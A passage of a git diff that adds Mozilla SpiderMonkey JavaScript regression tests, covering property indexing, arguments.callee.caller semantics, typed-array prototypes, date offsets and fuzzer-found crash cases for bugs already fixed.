+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {} catch(e) {}
+try {
+ if (2 == 0) { } else { []; }
+} catch (e) {}
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-563210.js b/js/src/tests/non262/regress/regress-563210.js
new file mode 100644
index 0000000000..d5ba6b2e7e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-563210.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(Android)
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributors: Gary Kwong and Nicholas Nethercote
+ */
+
+if (typeof gczeal != 'undefined' && typeof gc != 'undefined') {
+ try
+ {
+ try {
+ __defineGetter__("x", gc)
+ } catch (e) {}
+ gczeal(1)
+ print(x)(Array(-8))
+ }
+ catch(ex)
+ {
+ }
+}
+
+// Reset gczeal.
+if (typeof gczeal !== 'undefined')
+ gczeal(0)
+
+reportCompare("no assertion failure", "no assertion failure", "bug 563210");
+
+
diff --git a/js/src/tests/non262/regress/regress-563221.js b/js/src/tests/non262/regress/regress-563221.js
new file mode 100644
index 0000000000..beb82b4993
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-563221.js
@@ -0,0 +1,8 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Jason Orendorff <jorendorff@mozilla.com>
+
+"" + eval("(function () { if (x) ; else if (y) n(); else { " + Array(10000).join("e;") + " } });");
+
+if (this.reportCompare)
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-566549.js b/js/src/tests/non262/regress/regress-566549.js
new file mode 100644
index 0000000000..3c5decd0ff
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-566549.js
@@ -0,0 +1,20 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributors: Jesse Ruderman <jruderman@gmail.com>,
+// Gary Kwong <gary@rumblingedge.com>,
+// Jason Orendorff <jorendorff@mozilla.com>
+
+try {
+ evalcx('var p;', []);
+} catch (exc) {}
+
+try {
+ evalcx('');
+ Function("evalcx(\"var p\",[])")();
+} catch (exc) {}
+
+try {
+ evalcx('var p;');
+} catch (exc) {}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-567152.js b/js/src/tests/non262/regress/regress-567152.js
new file mode 100644
index 0000000000..02f7b2401d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-567152.js
@@ -0,0 +1,12 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributors: Gary Kwong <gary@rumblingedge.com>,
+// Jason Orendorff <jorendorff@mozilla.com>
+
+function c(a) {
+ this.f = function () { a; };
+}
+c(0); // set both BRANDED and GENERIC bits in global scope
+Object.defineProperty(this, "f", {configurable: true, enumerable: true, value: 3});
+
+reportCompare(0, 0, "");
diff --git a/js/src/tests/non262/regress/regress-569306.js b/js/src/tests/non262/regress/regress-569306.js
new file mode 100644
index 0000000000..2217821869
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-569306.js
@@ -0,0 +1,10 @@
+function f() {}
+var g = new Function();
+delete Function;
+function h() {}
+
+assertEq(f.__proto__, g.__proto__);
+assertEq(g.__proto__, h.__proto__);
+assertEq(false, "Function" in this);
+
+reportCompare("ok", "ok", "bug 569306");
diff --git a/js/src/tests/non262/regress/regress-57043.js b/js/src/tests/non262/regress/regress-57043.js
new file mode 100644
index 0000000000..9d7ea61688
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-57043.js
@@ -0,0 +1,76 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 03 December 2000
+ *
+ *
+ * SUMMARY: This test arose from Bugzilla bug 57043:
+ * "Negative integers as object properties: strange behavior!"
+ *
+ * We check that object properties may be indexed by signed
+ * numeric literals, as in assignments like obj[-1] = 'Hello'
+ *
+ * NOTE: it should not matter whether we provide the literal with
+ * quotes around it or not; e.g. these should be equivalent:
+ *
+ * obj[-1] = 'Hello'
+ * obj['-1'] = 'Hello'
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 57043;
+var summary = 'Indexing object properties by signed numerical literals -'
+ var statprefix = 'Adding a property to test object with an index of ';
+var statsuffix = ', testing it now -';
+var propprefix = 'This is property ';
+var obj = new Object();
+var status = ''; var actual = ''; var expect = ''; var value = '';
+
+
+// various indices to try -
+var index =
+ [-1073741825, -1073741824, -1073741823, -5000, -507, -3, -2, -1, -0, 0, 1, 2, 3, 1073741823, 1073741824, 1073741825];
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var j in index) {testProperty(index[j]);}
+}
+
+
+function testProperty(i)
+{
+ status = getStatus(i);
+
+ // try to assign a property using the given index -
+ obj[i] = value = (propprefix + i);
+
+ // try to read the property back via the index (as number) -
+ expect = value;
+ actual = obj[i];
+ reportCompare(expect, actual, status);
+
+ // try to read the property back via the index as string -
+ expect = value;
+ actual = obj[String(i)];
+ reportCompare(expect, actual, status);
+}
+
+function positive(n) { return 1 / n > 0; }
+
+function getStatus(i)
+{
+ return statprefix +
+ (positive(i) ? i : "-" + -i) +
+ statsuffix;
+}
diff --git a/js/src/tests/non262/regress/regress-571014.js b/js/src/tests/non262/regress/regress-571014.js
new file mode 100644
index 0000000000..0f8a51c4d5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-571014.js
@@ -0,0 +1,32 @@
+
+var F, o;
+
+F = function () {};
+F.prototype = new ArrayBuffer(1);
+o = new F();
+try {
+ o.byteLength;
+} catch (ex) {
+ // o is not a platform object
+ assertEq(ex instanceof TypeError, true);
+}
+
+o = {};
+o.__proto__ = new Int32Array(1);
+try {
+ o.buffer.byteLength;
+} catch (ex) {
+ // o is not a platform object
+ assertEq(ex instanceof TypeError, true);
+}
+
+F = function () {};
+F.prototype = new Int32Array(1);
+o = new F();
+try {
+ o.slice(0, 1);
+ reportFailure("Expected an exception!");
+} catch (ex) {
+}
+
+reportCompare("ok", "ok", "bug 571014");
diff --git a/js/src/tests/non262/regress/regress-573875.js b/js/src/tests/non262/regress/regress-573875.js
new file mode 100644
index 0000000000..fcfc00a9e4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-573875.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var o = {__iterator__:null, a:1, b:2, c:3}
+var expect = '__iterator__,a,b,c,';
+var actual = '';
+
+try {
+ for (var i in o)
+ actual += i + ',';
+} catch (e) {
+ actual = '' + e;
+ if (/invalid __iterator__ value/.test(actual) ||
+ /null is not a function/.test(actual)) {
+ expect = actual;
+ }
+}
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/non262/regress/regress-577648-1.js b/js/src/tests/non262/regress/regress-577648-1.js
new file mode 100644
index 0000000000..d40c7b0e42
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-577648-1.js
@@ -0,0 +1,87 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var count = 0;
+
+function testCaller(obj) {
+ switch (++count) {
+ case 1:
+ case 2:
+ /*
+ * The first two times, obj is objA. The first time, we reference
+ * arguments.callee.caller before obj.go, so the caller getter must
+ * force the joined function object in the stack frame to cross the
+ * method read barrier. The second time, obj.go has been cloned and
+ * it should match the new frame's callee from the get-go.
+ */
+ assertEq(obj, objA);
+ break;
+
+ case 3: {
+ assertEq(obj, objB);
+
+ /*
+ * Store another clone of the joined function object before obj.go has
+ * been read, but after it has been invoked via objB.go(objB).
+ *
+ * In this case, arguments.callee.caller must not lie and return what
+ * is currently stored in objB.go, since that function object (objA.go)
+ * was cloned earlier, when count was 1, and it is not the function
+ * object that was truly invoked.
+ *
+ * But since the invocation of objB.go(objB) did not clone go, and the
+ * following assignment overwrote the invoked value, leaving the only
+ * reference to the joined function object for go in the stack frame's
+ * callee (argv[-2]) member, the arguments.callee.caller reference must
+ * clone a function object for the callee, store it as the callee, and
+ * return it here.
+ *
+ * It won't equal obj.go, but (implementation detail) it should have
+ * the same proto as obj.go
+ */
+ obj.go = objA.go;
+
+ let caller = arguments.callee.caller;
+ let obj_go = obj.go;
+ return caller != obj_go && caller.__proto__ == obj_go.__proto__;
+ }
+
+ case 4: {
+ assertEq(obj, objC);
+
+ let save = obj.go;
+ delete obj.go;
+ return arguments.callee.caller == save;
+ }
+
+ case 5: {
+ assertEq(obj, objD);
+
+ let read = obj.go;
+ break;
+ }
+ }
+
+ return arguments.callee.caller == obj.go;
+}
+
+function make() {
+ return {
+ go: function(obj) {
+ return testCaller(obj);
+ }
+ };
+}
+
+var objA = make(),
+ objB = make(),
+ objC = make(),
+ objD = make();
+
+reportCompare(true, objA.go(objA), "1");
+reportCompare(true, objA.go(objA), "2");
+reportCompare(true, objB.go(objB), "3");
+reportCompare(true, objC.go(objC), "4");
+reportCompare(true, objD.go(objD), "5");
diff --git a/js/src/tests/non262/regress/regress-577648-2.js b/js/src/tests/non262/regress/regress-577648-2.js
new file mode 100644
index 0000000000..d9ba913163
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-577648-2.js
@@ -0,0 +1,12 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+var o = { f: function() { return o.g(); }, g: function() { return arguments.callee.caller; } };
+var c = o.f();
+var i = 'f';
+var d = o[i]();
+
+reportCompare(true, c === o.f && d === o.f(), "");
diff --git a/js/src/tests/non262/regress/regress-580544.js b/js/src/tests/non262/regress/regress-580544.js
new file mode 100644
index 0000000000..f6e57e4fa6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-580544.js
@@ -0,0 +1,27 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'regress-580544.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 580544;
+var summary = 'Do not assert: new (this.prototype = this)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try {
+ new (this.prototype = this);
+ } catch (e) {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-58116.js b/js/src/tests/non262/regress/regress-58116.js
new file mode 100644
index 0000000000..2352b56449
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-58116.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(this.hasOwnProperty("Intl")) -- Requires inaccurate historic time zone data.
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Bob Clary
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 58116;
+var summary = 'Compute Daylight savings time correctly regardless of year';
+var actual = '';
+var expect = '';
+var status;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = (new Date(2005, 7, 1).getTimezoneOffset());
+
+status = summary + ' ' + inSection(1) + ' 1970-07-1 ';
+actual = (new Date(1970, 7, 1).getTimezoneOffset());
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2) + ' 1965-07-1 ';
+actual = (new Date(1965, 7, 1).getTimezoneOffset());
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(3) + ' 0000-07-1 ';
+actual = (new Date(0, 7, 1).getTimezoneOffset());
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/regress/regress-583429.js b/js/src/tests/non262/regress/regress-583429.js
new file mode 100644
index 0000000000..67e1b41959
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-583429.js
@@ -0,0 +1,7 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Andreas Gal <gal@uci.edu>
+
+assertEq(Object.getOwnPropertyNames(Array.prototype).indexOf("length") >= 0, true);
+
+reportCompare("ok", "ok", "bug 583429");
diff --git a/js/src/tests/non262/regress/regress-584355.js b/js/src/tests/non262/regress/regress-584355.js
new file mode 100644
index 0000000000..7d1b81a2ec
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-584355.js
@@ -0,0 +1,7 @@
+var actual;
+var expect = "function f () { ff (); }";
+function fun() {
+ (new Function ("function ff () { actual = '' + ff. caller; } function f () { ff (); } f ();")) ();
+}
+fun();
+reportCompare(expect, actual, "");
diff --git a/js/src/tests/non262/regress/regress-585257.js b/js/src/tests/non262/regress/regress-585257.js
new file mode 100644
index 0000000000..160c310833
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-585257.js
@@ -0,0 +1,7 @@
+// |reftest| skip-if(!xulRuntime.shell) -- requires evalcx
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Gary Kwong <gary@rumblingedge.com>
+
+Object.create(evalcx('')).__defineSetter__('toString', function(){});
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-586482-1.js b/js/src/tests/non262/regress/regress-586482-1.js
new file mode 100644
index 0000000000..1cab74a3fc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-586482-1.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect = true;
+var actual;
+
+var checkCaller = function(me) {
+ var caller = arguments.callee.caller;
+ var callerIsMethod = (caller === me['doThing']);
+ actual = callerIsMethod;
+};
+
+var MyObj = function() {
+};
+
+MyObj.prototype.doThing = function() {
+ checkCaller(this);
+};
+
+(new MyObj()).doThing();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/non262/regress/regress-586482-2.js b/js/src/tests/non262/regress/regress-586482-2.js
new file mode 100644
index 0000000000..7eb44d0202
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-586482-2.js
@@ -0,0 +1,22 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect = true;
+var actual;
+
+var checkCaller = function(me) {
+ var caller = arguments.callee.caller;
+ var callerIsMethod = (caller === me['doThing']);
+ actual = callerIsMethod;
+};
+
+Object.prototype.doThing = function() {
+ checkCaller(this);
+};
+
+["dense"].doThing();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/non262/regress/regress-586482-3.js b/js/src/tests/non262/regress/regress-586482-3.js
new file mode 100644
index 0000000000..92e9d5c845
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-586482-3.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect = true;
+var actual;
+
+var checkCaller = function(me) {
+ var f = me['doThing'];
+ delete MyObj.prototype['doThing'];
+ var caller = arguments.callee.caller;
+ var callerIsMethod = (f === caller);
+ actual = callerIsMethod;
+};
+
+var MyObj = function() {
+};
+
+MyObj.prototype.doThing = function() {
+ checkCaller(this);
+};
+
+(new MyObj()).doThing();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/non262/regress/regress-586482-4.js b/js/src/tests/non262/regress/regress-586482-4.js
new file mode 100644
index 0000000000..34352bfe7d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-586482-4.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var expect, actual;
+
+var obj = {
+ f: function() {
+ expect = this.g;
+ actual = arguments.callee.caller;
+ print("Ok");
+ }
+};
+
+var obj2 = { __proto__: obj, g: function() { this.f(); }};
+
+var obj3 = { __proto__: obj2, h: function() { this.g(); }};
+
+var obj4 = { __proto__: obj3 }
+
+obj4.h();
+
+reportCompare(expect, actual, "ok");
diff --git a/js/src/tests/non262/regress/regress-586482-5.js b/js/src/tests/non262/regress/regress-586482-5.js
new file mode 100644
index 0000000000..3ddc141931
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-586482-5.js
@@ -0,0 +1,18 @@
